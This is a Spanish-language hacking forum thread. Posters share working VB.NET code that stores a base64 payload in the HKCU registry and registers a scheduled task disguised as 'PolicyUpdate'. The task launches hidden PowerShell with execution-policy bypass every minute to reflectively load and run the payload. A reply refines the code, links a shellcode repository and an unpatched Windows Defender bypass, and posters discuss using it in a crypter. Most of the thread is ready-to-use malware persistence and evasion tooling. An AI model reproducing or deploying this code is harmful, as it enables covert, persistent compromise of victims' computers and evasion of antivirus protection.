HOLA!!!
Chicos les paso este código muy bueno que armé para ejecutar un payload desde powershell a traves de VBNET con recursos, solo poner el payload en My.Resources.PYLD
Ademas es persistente.
Public Class Program
Public Shared Sub Main()
Dim Payload As String = Nothing
Try
'Convierto recurso a B64
PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
Catch ex As Exception
End Try
Try
'Guardamos en el registro para luego levantarlo
Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
Catch ex As Exception
End Try
Dim PS As String = Nothing
Try
PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
'guardamos el task como PolicyUpdate
Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
.FileName = "schtasks",
.Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
.CreateNoWindow = True,
.ErrorDialog = False,
.WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
})
Catch ex As Exception
End Try
End Sub
End Class
GRACIAS POR LEER!!!
Primero que todo , Que Buen Aporte ! , tal vez te intereza hecharle un ojo a este Run : https://github.com/OsandaMalith/VBShellCode (https://github.com/OsandaMalith/VBShellCode)
lo Edite un poco a mi manera:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="FilePath">
''' Path to Payload.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub RunPowerShell(ByVal FilePath As String)
On Error Resume Next
Dim Payload As String = String.Empty
Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
Dim PYLDSTR As String = ConvertFileToBase64(FilePath)
CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
.FileName = "schtasks",
.Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
.CreateNoWindow = True,
.ErrorDialog = False,
.WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
})
End Sub
Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
ByVal Value As String)
Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
End Sub
Public Function ConvertFileToBase64(ByVal fileName As String) As String
Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
End Function
Por Otra parte estas usando muchos Try para literalmente hacer lo errores Invisibles ni los usas para llevar un LOG. eso aparte de quitarle la estetica al codigo es innecesario (el colocar tantos try) con 1 bastaba . pero lo que quieres es que no salgan los errores asi q con el On Error Resume Nex tienes.
HOLA!!!
Si, tenes razon, mucho mas comodo con On Error Resume Next!!!
Igual... ese comentario es de un desarrollador que estuvo en VB6 como yo, me equivoco?
Jajaja, los estandares de .NET no aprueban el uso de OERN
Que bueno ver a otro desarrollador competente!
Viste este post? puede servirte, aun no esta parcheado https://underc0de.org/foro/visual-studio-net/(source)-deshabilitar-windows-defender-en-tiempo-de-ejecucion(vb-net-wd-bypass)/
GRACIAS POR LEER!!!
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Igual... ese comentario es de un desarrollador que estuvo en VB6 como yo, me equivoco?
Jejeje, tienes toda la razón empece con VB6. y después me pase a .net .
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Viste este post? puede servirte, aun no esta parcheado https://underc0de.org/foro/visual-studio-net/(source)-deshabilitar-windows-defender-en-tiempo-de-ejecucion(vb-net-wd-bypass)/
Si, De mucha ayuda para usarlo en un Crypter xdd . tal vez lo haga .